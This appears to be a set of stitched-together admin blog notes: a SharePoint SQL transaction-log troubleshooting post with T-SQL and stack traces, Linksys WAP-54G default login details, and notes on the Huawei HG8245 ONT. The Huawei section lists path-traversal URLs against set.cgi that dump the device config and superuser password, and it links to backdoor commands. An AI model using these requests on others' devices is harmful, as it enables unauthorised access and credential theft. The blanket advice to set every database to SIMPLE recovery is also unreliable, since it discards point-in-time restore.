The transaction log for database ‘SharePoint_Config’ is full due to ‘LOG_BACKUP’.

Recently when trying to perform few actions in CA (changing auth provider for webapp) i got the following error:

The transaction log for database 'SharePoint_Config' is full due to 'LOG_BACKUP'.

That means the transaction log file for SharePoint_Config database is full and no entries can be added until it’s “cleaned”.

Troubleshooting stage:

First attempt was to check SQL server database (SharePoint_Config).

Open SQL Management Studio => New Query => add the following script:

SELECT log_reuse_wait_desc FROM master.sys.databases WHERE name = N’SharePoint_Config’

This will show current status.

Here it is – LOG_BACKUP. It means that log file should be backed up (to release a small amount of free space) before the further transactions can be added to it.

Hmm, let’s check database physical files (using database properties or the query below):

SELECT physical_name,size, file_id FROM sys.database_files WHERE name = N’SharePoint_Config’
SELECT * FROM sys.database_files WHERE name = N’SharePoint_Config_Log’

Both are variations (with displayed fields).

53Gb for log file! So much!

Open database properties, check Options => Recovery Mode.

“Full” means that every transaction will be added to log. This is default for finance area (banking etc) but really depend on specific requirements.

When talking about SharePoint (and SharePoint-based non business-critical applications which don’t require RPO\RTO to be within a minutes) – always set Recovery Mode to “Simple”. For every SharePoint database.

Okay, next we can check all databases as well:

DBCC SQLPERF (LOGSPACE)

Take note to those who has 100%!

Now we’re heading to My Computer – Disk E:\  – it’s full.

So no free space left on disk – no possibility to log further transactions.

Okay, let’s try to shrink log file (the bad way – always check Microsoft recommendations on shrink):

USE [sharepoint_config]
GO
ALTER DATABASE
SET RECOVERY SIMPLE
GO
SELECT file_id, name
FROM sys.database_files
DBCC SHRINKFILE (%LOGFILENAME%, 1)
GO
ALTER DATABASE
SET RECOVERY FULL
GO

Error – that’s because no free space is left on the disk.

Better use truncate log option (the more preferable way):

DBCC SHRINKFILE (2, TRUNCATEONLY)

Unfortunately the same.

Soluton stage:

The best approach in this situation will be:

1. to set all databases recovery model to simple:

sp_msforeachdb ‘USE [?]; ALTER DATABASE [?] SET RECOVERY SIMPLE WITH NO_WAIT’;

2. to set autogrowth for all files up to ~5 MB (refer to best practices as well!);

2. to shrink all log files to release space using script below.  This script can be used to shrink log files (without need of initializing cursor):

SELECT ‘DBCC SHRINKFILE (N”’+name+’_log” , 2)’
FROM sysdatabases
WHERE dbid > 4

Then take output and use in query window.

 

P.S. refer to

http://www.sqlskills.com/blogs/paul/why-is-log_reuse_wait_desc-saying-log_backup-after-doing-a-log-backup/

https://msdn.microsoft.com/en-us//library/ms189493.aspx

 

A bit of technical details:

01/28/2016 16:29:57.93 w3wp.exe (ECSC00102F10:0x1830) 0x25B0 SharePoint Foundation Database 880i High System.Data.SqlClient.SqlException (0x80131904): The transaction log for database ‘SharePoint_AdminContent_53dc8219-fd24-4a3b-86a4-c45ff99c8760’ is full due to ‘LOG_BACKUP’. at System.Data.SqlClient.SqlConnection.OnError(SqlException exception, Boolean breakConnection, Action`1 wrapCloseInAction) at System.Data.SqlClient.TdsParser.ThrowExceptionAndWarning(TdsParserStateObject stateObj, Boolean callerHasConnectionLock, Boolean asyncClose) at System.Data.SqlClient.TdsParser.TryRun(RunBehavior runBehavior, SqlCommand cmdHandler, SqlDataReader dataStream, BulkCopySimpleResultSet bulkCopyHandler, TdsParserStateObject stateObj, Boolean& dataReady) at System.Data.SqlClient.SqlDataReader.TryConsumeMetaData() at System.Data.SqlClient.SqlDataReader.get_MetaData() at System.Data.SqlClient.SqlCommand.FinishExecuteReader(SqlDataReader ds, RunBehavior runBehavior, String resetOptionsString) at System.Data.SqlClient.SqlCommand.RunExecuteReaderTds(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, Boolean async, Int32 timeout, Task& task, Boolean asyncWrite, SqlDataReader ds) at System.Data.SqlClient.SqlCommand.RunExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, String method, TaskCompletionSource`1 completion, Int32 timeout, Task& task, Boolean asyncWrite) at System.Data.SqlClient.SqlCommand.RunExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, String method) at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior, String method) at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior) at Microsoft.SharePoint.Utilities.SqlSession.ExecuteReader(SqlCommand command, CommandBehavior behavior, SqlQueryData monitoringData, Boolean retryForDeadLock) ClientConnectionId:e114778d-0ef4-49ab-97ee-77cb382f0f50 Error Number:9002,State:2,Class:17 9fa9599d-d439-5080-9e37-1a82bbfec2fb

01/28/2016 16:29:57.93 w3wp.exe (ECSC00102F10:0x1830) 0x25B0 SharePoint Foundation Database 880k High at Microsoft.SharePoint.SPSqlClient.ExecuteQueryInternal(Boolean retryfordeadlock) at Microsoft.SharePoint.SPSqlClient.ExecuteQuery(Boolean retryfordeadlock) at Microsoft.SharePoint.Library.SPRequestInternalClass.OpenWebInternal(String bstrUrl, Guid& pguidID, DateTime& pdtTimeCreated, String& pbstrRequestAccessEmail, UInt32& pwebVersion, String& pbstrServerRelativeUrl, UInt32& pnLanguage, UInt32& pnLocale, String& pbstrDefaultTheme, String& pbstrDefaultThemeCSSUrl, String& pbstrThemedCssFolderUrl, String& pbstrAlternateCSSUrl, String& pbstrCustomizedCssFileList, String& pbstrCustomJSUrl, String& pbstrAlternateHeaderUrl, String& pbstrMasterUrl, String& pbstrCustomMasterUrl, String& pbstrSiteLogoUrl, String& pbstrSiteLogoDescription, Object& pvarUser, Boolean& pvarIsAuditor, Int32& plSiteFlags, Boolean& pbOverwriteMUICultures, Boolean& pbMUIEnabled, String& pbstrAlternateMUICultures, Int32& plSiteSchemaMajorVersion, Int32& plSiteSchemaMinorVersion, Int32& plSiteSchemaBuildVersion, Int32& plSiteSchemaRevisionVersion, Int32& puiVersion, Int16& pnClientTag, Boolean& pfIsEvalSite, Guid& pgSourceSiteId, DateTime& pdtExpirationDate, Guid& pgEvalSiteId, Guid& pguidAppInstanceId, String& pbstrRemoteAppUrl, String& pbstrOAuthAppId, String& pbstrAppDatabaseName, Guid& pgAppDatabaseServerReferenceId, String& pbstrAppDatabaseTargetApplicationId, String& pbstrAppWebDomainId, Int32& plUpgradeFlags, DateTime& pdtReminderDate, DateTime& pdtLastContentChange, DateTime& pdtLastSecurityChange, UInt64& pmaskDeny) at Microsoft.SharePoint.Library.SPRequestInternalClass.OpenWebInternal(String bstrUrl, Guid& pguidID, DateTime& pdtTimeCreated, String& pbstrRequestAccessEmail, UInt32& pwebVersion, String& pbstrServerRelativeUrl, UInt32& pnLanguage, UInt32& pnLocale, String& pbstrDefaultTheme, String& pbstrDefaultThemeCSSUrl, String& pbstrThemedCssFolderUrl, String& pbstrAlternateCSSUrl, String& pbstrCustomizedCssFileList, String& pbstrCustomJSUrl, String& pbstrAlternateHeaderUrl, String& pbstrMasterUrl, String& pbstrCustomMasterUrl, String& pbstrSiteLogoUrl, String& pbstrSiteLogoDescription, Object& pvarUser, Boolean& pvarIsAuditor, Int32& plSiteFlags, Boolean& pbOverwriteMUICultures, Boolean& pbMUIEnabled, String& pbstrAlternateMUICultures, Int32& plSiteSchemaMajorVersion, Int32& plSiteSchemaMinorVersion, Int32& plSiteSchemaBuildVersion, Int32& plSiteSchemaRevisionVersion, Int32& puiVersion, Int16& pnClientTag, Boolean& pfIsEvalSite, Guid& pgSourceSiteId, DateTime& pdtExpirationDate, Guid& pgEvalSiteId, Guid& pguidAppInstanceId, String& pbstrRemoteAppUrl, String& pbstrOAuthAppId, String& pbstrAppDatabaseName, Guid& pgAppDatabaseServerReferenceId, String& pbstrAppDatabaseTargetApplicationId, String& pbstrAppWebDomainId, Int32& plUpgradeFlags, DateTime& pdtReminderDate, DateTime& pdtLastContentChange, DateTime& pdtLastSecurityChange, UInt64& pmaskDeny) at Microsoft.SharePoint.Library.SPRequest.OpenWebInternal(String bstrUrl, Guid& pguidID, DateTime& pdtTimeCreated, String& pbstrRequestAccessEmail, UInt32& pwebVersion, String& pbstrServerRelativeUrl, UInt32& pnLanguage, UInt32& pnLocale, String& pbstrDefaultTheme, String& pbstrDefaultThemeCSSUrl, String& pbstrThemedCssFolderUrl, String& pbstrAlternateCSSUrl, String& pbstrCustomizedCssFileList, String& pbstrCustomJSUrl, String& pbstrAlternateHeaderUrl, String& pbstrMasterUrl, String& pbstrCustomMasterUrl, String& pbstrSiteLogoUrl, String& pbstrSiteLogoDescription, Object& pvarUser, Boolean& pvarIsAuditor, Int32& plSiteFlags, Boolean& pbOverwriteMUICultures, Boolean& pbMUIEnabled, String& pbstrAlternateMUICultures, Int32& plSiteSchemaMajorVersion, Int32& plSiteSchemaMinorVersion, Int32& plSiteSchemaBuildVersion, Int32& plSiteSchemaRevisionVersion, Int32& puiVersion, Int16& pnClientTag, Boolean& pfIsEvalSite, Guid& pgSourceSiteId, DateTime& pdtExpirationDate, Guid& pgEvalSiteId, Guid& pguidAppInstanceId, String& pbstrRemoteAppUrl, String& pbstrOAuthAppId, String& pbstrAppDatabaseName, Guid& pgAppDatabaseServerReferenceId, String& pbstrAppDatabaseTargetApplicationId, String& pbstrAppWebDomainId, Int32& plUpgradeFlags, DateTime& pdtReminderDate, DateTime& pdtLastContentChange, DateTime& pdtLastSecurityChange, UInt64& pmaskDeny) at Microsoft.SharePoint.SPWeb.InitWebPublic() at Microsoft.SharePoint.SPWeb.get_AppInstanceId() at Microsoft.SharePoint.SPWeb.get_Url() at Microsoft.SharePoint.SPWeb.ValidateFormDigest() at Microsoft.SharePoint.ApplicationRuntime.SPRequestModule.PostAuthenticateRequestHandler(Object oSender, EventArgs ea) at System.Web.HttpApplication.SyncEventExecutionStep.System.Web.HttpApplication.IExecutionStep.Execute() at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously) at System.Web.HttpApplication.PipelineStepManager.ResumeSteps(Exception error) at System.Web.HttpApplication.BeginProcessRequestNotification(HttpContext context, AsyncCallback cb) at System.Web.HttpRuntime.ProcessRequestNotificationPrivate(IIS7WorkerRequest wr, HttpContext context) at System.Web.Hosting.PipelineRuntime.ProcessRequestNotificationHelper(IntPtr rootedObjectsPointer, IntPtr nativeRequestContext, IntPtr moduleData, Int32 flags) at System.Web.Hosting.PipelineRuntime.ProcessRequestNotification(IntPtr rootedObjectsPointer, IntPtr nativeRequestContext, IntPtr moduleData, Int32 flags) at System.Web.Hosting.UnsafeIISMethods.MgdIndicateCompletion(IntPtr pHandler, RequestNotificationStatus& notificationStatus) at System.Web.Hosting.UnsafeIISMethods.MgdIndicateCompletion(IntPtr pHandler, RequestNotificationStatus& notificationStatus) at System.Web.Hosting.PipelineRuntime.ProcessRequestNotificationHelper(IntPtr rootedObjectsPointer, IntPtr nativeRequestContext, IntPtr moduleData, Int32 flags) at System.Web.Hosting.PipelineRuntime.ProcessRequestNotification(IntPtr rootedObjectsPointer, IntPtr nativeRequestContext, IntPtr moduleData, Int32 flags) 9fa9599d-d439-5080-9e37-1a82bbfec2fb

01/28/2016 16:29:57.93 w3wp.exe (ECSC00102F10:0x1830) 0x25B0 SharePoint Foundation Database 880j High SqlError: ‘The transaction log for database ‘SharePoint_AdminContent_53dc8219-fd24-4a3b-86a4-c45ff99c8760’ is full due to ‘LOG_BACKUP’. ‘ Source: ‘.Net SqlClient Data Provider’ Number: 9002 State: 2 Class: 17 Procedure: ‘proc_SecRefreshToken’ LineNumber: 20 Server: ‘XXXXXXXX’ 9fa9599d-d439-5080-9e37-1a82bbfec2fb

01/28/2016 16:29:57.93 w3wp.exe (ECSC00102F10:0x1830) 0x25B0 SharePoint Foundation Database 5586 Critical Unknown SQL Exception 9002 occurred. Additional error information from SQL Server is included below. The transaction log for database ‘SharePoint_AdminContent_53dc8219-fd24-4a3b-86a4-c45ff99c8760’ is full due to ‘LOG_BACKUP’. 9fa9599d-d439-5080-9e37-1a82bbfec2fb

01/28/2016 16:29:57.93 w3wp.exe (ECSC00102F10:0x1830) 0x25B0 SharePoint Foundation Database tzku High ConnectionString: ‘Data Source=XXXXXXXXX;Initial Catalog=SharePoint_AdminContent_53dc8219-fd24-4a3b-86a4-c45ff99c8760;Integrated Security=True;Enlist=False;Pooling=True;Min Pool Size=0;Max Pool Size=100;Connect Timeout=15’ Partition: 47eda670-91d8-41c7-aea9-7df0ba6d7bf2 ConnectionState: Closed ConnectionTimeout: 15 9fa9599d-d439-5080-9e37-1a82bbfec2fb

01/28/2016 16:29:57.93 w3wp.exe (ECSC00102F10:0x1830) 0x25B0 SharePoint Foundation Database tzkv High SqlCommand: ‘proc_SecRefreshToken’ CommandType: StoredProcedure CommandTimeout: 0 Parameter: ‘@RETURN_VALUE’ Type: Int Size: 0 Direction: ReturnValue Value: ” Parameter: ‘@SiteId’ Type: UniqueIdentifier Size: 0 Direction: Input Value: ’47eda670-91d8-41c7-aea9-7df0ba6d7bf2′ Parameter: ‘@UserId’ Type: Int Size: 0 Direction: Input Value: ’27’ Parameter: ‘@ExternalToken’ Type: VarBinary Size: 8000 Direction: Input Parameter: ‘@ExternalTokenTime’ Type: DateTime Size: 0 Direction: Input Value: ’01/28/2016 13:29:57′ Parameter: ‘@RequestGuid’ Type: UniqueIdentifier Size: 0 Direction: Input Value: ‘9fa9599d-d439-5080-9e37-1a82bbfec2fb’ 9fa9599d-d439-5080-9e37-1a82bbfec2fb

01/28/2016 16:29:57.93 w3wp.exe (ECSC00102F10:0x1830) 0x25B0 SharePoint Foundation Database aek90 High SecurityOnOperationCheck = True 9fa9599d-d439-5080-9e37-1a82bbfec2fb

01/28/2016 16:29:57.93 w3wp.exe (ECSC00102F10:0x1830) 0x25B0 SharePoint Foundation Database d0d6 High System.Data.SqlClient.SqlException (0x80131904): The transaction log for database ‘SharePoint_AdminContent_53dc8219-fd24-4a3b-86a4-c45ff99c8760’ is full due to ‘LOG_BACKUP’. at System.Data.SqlClient.SqlConnection.OnError(SqlException exception, Boolean breakConnection, Action`1 wrapCloseInAction) at System.Data.SqlClient.TdsParser.ThrowExceptionAndWarning(TdsParserStateObject stateObj, Boolean callerHasConnectionLock, Boolean asyncClose) at System.Data.SqlClient.TdsParser.TryRun(RunBehavior runBehavior, SqlCommand cmdHandler, SqlDataReader dataStream, BulkCopySimpleResultSet bulkCopyHandler, TdsParserStateObject stateObj, Boolean& dataReady) at System.Data.SqlClient.SqlDataReader.TryConsumeMetaData() at System.Data.SqlClient.SqlDataReader.get_MetaData() at System.Data.SqlClient.SqlCommand.FinishExecuteReader(SqlDataReader ds, RunBehavior runBehavior, String resetOptionsString) at System.Data.SqlClient.SqlCommand.RunExecuteReaderTds(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, Boolean async, Int32 timeout, Task& task, Boolean asyncWrite, SqlDataReader ds) at System.Data.SqlClient.SqlCommand.RunExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, String method, TaskCompletionSource`1 completion, Int32 timeout, Task& task, Boolean asyncWrite) at System.Data.SqlClient.SqlCommand.RunExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, String method) at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior, String method) at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior) at Microsoft.SharePoint.Utilities.SqlSession.ExecuteReader(SqlCommand command, CommandBehavior behavior, SqlQueryData monitoringData, Boolean retryForDeadLock) at Microsoft.SharePoint.SPSqlClient.ExecuteQueryInternal(Boolean retryfordeadlock) at Microsoft.SharePoint.SPSqlClient.ExecuteQuery(Boolean retryfordeadlock) ClientConnectionId:e114778d-0ef4-49ab-97ee-77cb382f0f50 Error Number:9002,State:2,Class:17 9fa9599d-d439-5080-9e37-1a82bbfec2fb

 

P.S. It may be useful:

 

— GET DETAILS ABOUT ShP DATABASES (SPACE AVAIL)

use [SharePoint_Config]
SELECT name,size/128.0 – CAST(FILEPROPERTY(name, ‘SpaceUsed’) AS int)/128.0 AS AvailableSpaceInMB FROM sys.database_files
— PERFORMANCE CHECK

SELECT * from sys.dm_os_latch_stats
SELECT * from sys.dm_os_wait_stats
select * from sys.dm_os_waiting_tasks
select * from sys.dm_os_spinlock_stats

The transaction log for database ‘SharePoint_Config’ is full due to ‘LOG_BACKUP’.

Linksys WAP-54G setup

When a DHCP client boots up, it first looks for a DHCP server in order to obtain an IP address and subnet mask. If the client is unable to find the information, it uses APIPA (Automatic Private IP Addressing) a feature in Windows Vista to automatically configure itself with an IP address and subnet mask when a DHCP server isn’t available. The IP address range is 169.254.0.1 through 169.254.255.254, a range that has been reserved especially for Microsoft.

That’s why you will never be able to connect to factory fresh 54G Access Point using Ethernet cable.
Since the 54G comes set to 192.168.1.245 (subnet 255.255.255.0) as its factory default (never mentioned in original documentation), you’ll need to make sure the computer that you’re running the browser on is setup in the 192.168.1.X subnet.
Try setting your computer’s Ethernet adapter to any other 192.168.1.X address except 192.168.1.245 , subnet 255.255.255.0, if you need to connect to a factory-fresh 54G.

Username: blank
Password: admin

Linksys WAP-54G setup

Huawei HG8245 ONT

huawei gpon

http://forum29.net/showthread.php?t=39504&page=66&p=708000&viewfull=1#post708000

http://4pda.ru/forum/index.php?s=&showtopic=557472&view=findpost&p=36645773

=>

!working
http://192.168.100.1/html/network/set.cgi?RequestFile=../../mnt/jffs2/hw_ctree.xml

! not working
http://192.168.100.1/html/network/set.cgi?RequestFile=../../etc/passwd
??

http://192.168.100.1/html/network/set.cgi?RequestFile=../../mnt/jffs2/hw_ctree.xml

! not working
Речь о hg8245:

1. Логинемся на устройство под учеткой: root
2. Переходим по ссылке: http://<адрес устройства>/html/network/set.cgi?x=InternetGatewayDevice.LANDevice.1&RequestFile=../../mnt/jffs2/hw_ctree.xml
3. Сохраняем файл и смотрим в нем пароль суперпользователя (в моем случае telecomadmin).
About TR-069

http://www.pda.mts.ru/dom/gpon/other_services/settings/settings_equipment/tr069-setup-server/

ONT service manual

http://enterprise.huawei.com/ilink/enenterprise/download/HW_U_149039&usg=AFQjCNEC8yS1AUWW1gAe-B-iB1aTy2RqfQ&cad=rja

description

http://www1.huawei.com/en/products/fixed-access/fttx/ont/hg8245/index.htm

off site

http://support.huawei.com/ecommunity/bbs/10239005.html

register

https://uniportal.huawei.com/accounts/register.do?method=toRegister&nls=en&appurl=http://support.huawei.com/enterprise

check

http://4pda.ru/forum/index.php?showtopic=487182&st=440

http://unlinetph.blogspot.ru/2015/06/od235-od35-back-door-commands-and-tricks.html

http://habrahabr.ru/post/192118/

Huawei HG8245 ONT